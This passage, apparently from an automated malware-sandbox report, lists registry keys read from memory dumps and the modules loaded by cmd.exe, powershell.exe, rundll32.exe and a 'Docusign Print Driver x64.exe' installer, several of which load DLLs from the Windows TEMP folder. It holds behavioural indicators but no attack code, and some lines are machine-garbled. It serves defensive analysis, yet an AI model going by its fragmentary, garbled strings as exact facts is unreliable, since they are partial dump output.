"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocolteEKUsnsionEarlying" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.FinishProxyTunnelConnectionEarly" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.AllowNewLineInFtpCommand" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.AllowSmtpFallbackToPlainText" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SystemDefaultTlsVersions" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007528.00000000.214677.3EA40000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007528.00000000.214677.3EA40000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007528.00000001.214880.246F0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007528.00000001.214880.246F0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007528.00000001.214880.3EA40000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007528.00000001.214880.3EA40000.00000004.mdmp57:T5488,"cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffb6cd70000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffb95c90000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffb96a30000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffb915f0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffb6cd70000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffb95c90000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffb95aa0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb94430000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb94430000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb94430000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffb6ccc0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffb94d50000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffb91f50000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffb8aa50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffb6c180000 "powershell.exe" loaded module "USER32.DLL" at base 7ffb94ba0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffb94430000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffb77a50000 "powershell.exe" loaded module "NTDLL" at base 7ffb96a30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffb95610000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffb95e90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\6078762B90671C2FF9BA39318E2176D8\MSCORLIB.NI.DLL" at base 7ffb6aa60000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffb94a50000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffb95610000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffb94f80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\FE3C9CF707273488C6C658D52D624640\SYSTEM.NI.DLL" at base 7ffb69de0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\21FF4BA4607B18A9B179AB90FD3B0BC1\SYSTEM.CORE.NI.DLL" at base 7ffb678c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\704B6614C4744D16332D08DAF175DEED\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffb69bb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffb93090000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffb94370000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\481F1A5C0959042363DE5C765867B51D\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffb5bfb0000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffb95610000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffb95610000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffb96a30000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffb94e10000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffb96280000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffb940c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffb94140000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffb93a10000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffb857f0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffb94140000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffb86d80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffb7bdd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ffb713c0000 "powershell.exe" loaded module "KERNEL32" at base 7ffb95c90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\HU5KL6N3.DLL" at base 7ffb8a980000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\ED7AA14224280131DBAC4B6E4881239A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffb69b10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 7ffb7de50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\76FF225C5A523F0BE2364B0FC02BF7F9\SYSTEM.XML.NI.DLL" at base 7ffb67010000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\8ECDA6B0FFA321000FAFFBDCDB86175B\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffb69780000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\AFD58C711DB7CAC7F0D5CAF525CE8D6C\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffb692e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\8990B2F5A93202518A0040E15B565F36\SYSTEM.DATA.NI.DLL" at base 7ffb66690000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffb5ec80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\24206316825BB75EBFBDD31895DF2F1F\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffb691a0000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffb94400000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffb94430000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffb69050000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\11606F766159AE0C6DC59F2C053F4DB7\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffb69aa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\BEABD14F0AB9A67D348911645772E933\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffb689e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffb717a0000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffb88a20000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffb93fa0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffb91a60000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffb95610000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\24206316825BB75EBFBDD31895DF2F1F\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffb697b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\8ECDA6B0FFA321000FAFFBDCDB86175B\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffb692e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\AFD58C711DB7CAC7F0D5CAF525CE8D6C\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffb69170000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffb69020000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffb77130000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffb6c230000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffb848f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\6078762B90671C2FF9BA39318E2176D8\MSCORLIB.NI.DLL" at base 7ffb6abd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\FE3C9CF707273488C6C658D52D624640\SYSTEM.NI.DLL" at base 7ffb69f50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\704B6614C4744D16332D08DAF175DEED\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffb69d20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffb88cc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffb88ca0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ffb86d80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\ED7AA14224280131DBAC4B6E4881239A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffb69850000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 7ffb909e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\8ECDA6B0FFA321000FAFFBDCDB86175B\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffb69500000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\AFD58C711DB7CAC7F0D5CAF525CE8D6C\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffb69390000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffb69020000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\24206316825BB75EBFBDD31895DF2F1F\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffb68980000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffb66140000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\11606F766159AE0C6DC59F2C053F4DB7\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffb84880000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\BEABD14F0AB9A67D348911645772E933\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffb665b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffb77a70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\4775EA5A6170C0859C5278277C31B0CA\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffb65570000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\9594C82AF7B396B5EE8B0EF1D461CEA2\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffb7bb40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\B91D832F8C25F4F949D6DC38B3FE41AC\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffb5b2a0000 "powershell.exe" loaded module "ADVAPI32" at base 7ffb95aa0000 "rundll32.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 749e0000 "rundll32.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74440000 "rundll32.exe" loaded module "MSCOREE.DLL" at base 743e0000 "rundll32.exe" loaded module "ADVAPI32.DLL" at base 76420000 "rundll32.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76bf0000 "rundll32.exe" loaded module "VERSION.DLL" at base 74320000 "rundll32.exe" loaded module "USER32.DLL" at base 75430000 "rundll32.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 76bf0000 "rundll32.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\EF4992F14BA62DC115C01E7A6018E263\MSCORLIB.NI.DLL" at base 725a0000 "rundll32.exe" loaded module "OLE32.DLL" at base 75bb0000 "rundll32.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72560000 "rundll32.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 75ca0000 "rundll32.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 76bf0000 "rundll32.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 724c0000 "rundll32.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\67186481D97828A572BF5DB055F4A9F1\SYSTEM.NI.DLL" at base 71a60000 "rundll32.exe" loaded module "KERNEL32.DLL" at base 76fe0000 "rundll32.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\C20AFD70AEB352395F8F5297A727F0BA\SYSTEM.CORE.NI.DLL" at base 71240000 "rundll32.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\0FC458E2E89A1743B9BB2C58049A8F4F\SYSTEM.CONFIGURATION.NI.DLL" at base 71130000 "rundll32.exe" loaded module "NTDLL.DLL" at base 770e0000 "SecondInstaller.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 74d30000 "SecondInstaller.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76bf0000 "SecondInstaller.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76bf0000 "SecondInstaller.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76bf0000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76420000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSTEM32\MSI.DLL" at base 74830000 "SecondInstaller.exe" loaded module "VERSION.DLL" at base 70fc0000 "SecondInstaller.exe" loaded module "KERNEL32.DLL" at base 76fe0000 "SecondInstaller.exe" loaded module "CABINET.DLL" at base 74d10000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSTEM32\MSXML3.DLL" at base 74bc0000 "SecondInstaller.exe" loaded module "FECLIENT.DLL" at base 74b80000 "SecondInstaller.exe" loaded module "NTDLL.DLL" at base 770e0000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74ea0000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74b00000 "SecondInstaller.exe" loaded module "RPCRT4.DLL" at base 75310000 "SecondInstaller.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 75430000 "SecondInstaller.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 75430000 "SecondInstaller.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 74f80000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 75bb0000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 75f60000 "SecondInstaller.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 74420000 "SecondInstaller.exe" loaded module "OLE32.DLL" at base 75bb0000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72640000 "SecondInstaller.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 76bf0000 "SecondInstaller.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71a30000 "SecondInstaller.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\67186481D97828A572BF5DB055F4A9F1\SYSTEM.NI.DLL" at base 70fd0000 "SecondInstaller.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\416015A614FB5F5C53CD9CCBF0E5E13F\SYSTEM.XML.NI.DLL" at base 6ff10000 "SecondInstaller.exe" loaded module "ADVAPI32.DLL" at base 76420000 "SecondInstaller.exe" loaded module "USER32.DLL" at base 75430000 "SecondInstaller.exe" loaded module "GDIPLUS.DLL" at base 6f590000 "SecondInstaller.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76bf0000 "SecondInstaller.exe" loaded module "MSCOREE.DLL" at base 744b0000 "SecondInstaller.exe" loaded module "WINDOWSCODECS.DLL" at base 6f200000 "SecondInstaller.exe" loaded module "COMCTL32.DLL" at base 6f700000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 71ad0000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 6f0c0000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 72480000 "SecondInstaller.exe" loaded module "SSPICLI.DLL" at base 71b90000 "SecondInstaller.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 76bf0000 "SecondInstaller.exe" loaded module "VIRTDISK.DLL" at base 71ac0000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 71bf0000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSWOW64\WINTYPES.DLL" at base 74570000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 74570000 "SecondInstaller.exe" loaded module "SHELL32.DLL" at base 76610000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSWOW64\APPRESOLVER.DLL" at base 6f040000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSWOW64\ONECORECOMMONPROXYSTUB.DLL" at base 6efc0000 "SecondInstaller.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 6ec00000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 74d30000 "Docusign Print Driver x64.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76bf0000 "Docusign Print Driver x64.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76bf0000 "Docusign Print Driver x64.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76bf0000 "Docusign Print Driver x64.exe" loaded module "KERNEL32.DLL" at base 76fe0000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76420000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\MSI.DLL" at base 74830000 "Docusign Print Driver x64.exe" loaded module "VERSION.DLL" at base 70fc0000 "Docusign Print Driver x64.exe" loaded module "CABINET.DLL" at base 74d10000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\MSXML3.DLL" at base 74bc0000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74b00000 "Docusign Print Driver x64.exe" loaded module "RPCRT4.DLL" at base 75310000 "Docusign Print Driver x64.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 75430000 "Docusign Print Driver x64.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 75430000 "Docusign Print Driver x64.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 74f80000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 75bb0000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 75f60000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\SRCLIENT.DLL" at base 6ebe0000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSWOW64\USOAPI.DLL" at base 6e9e0000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\SXPROXY.DLL" at base 74510000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72640000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 75ca0000 "Docusign Print Driver 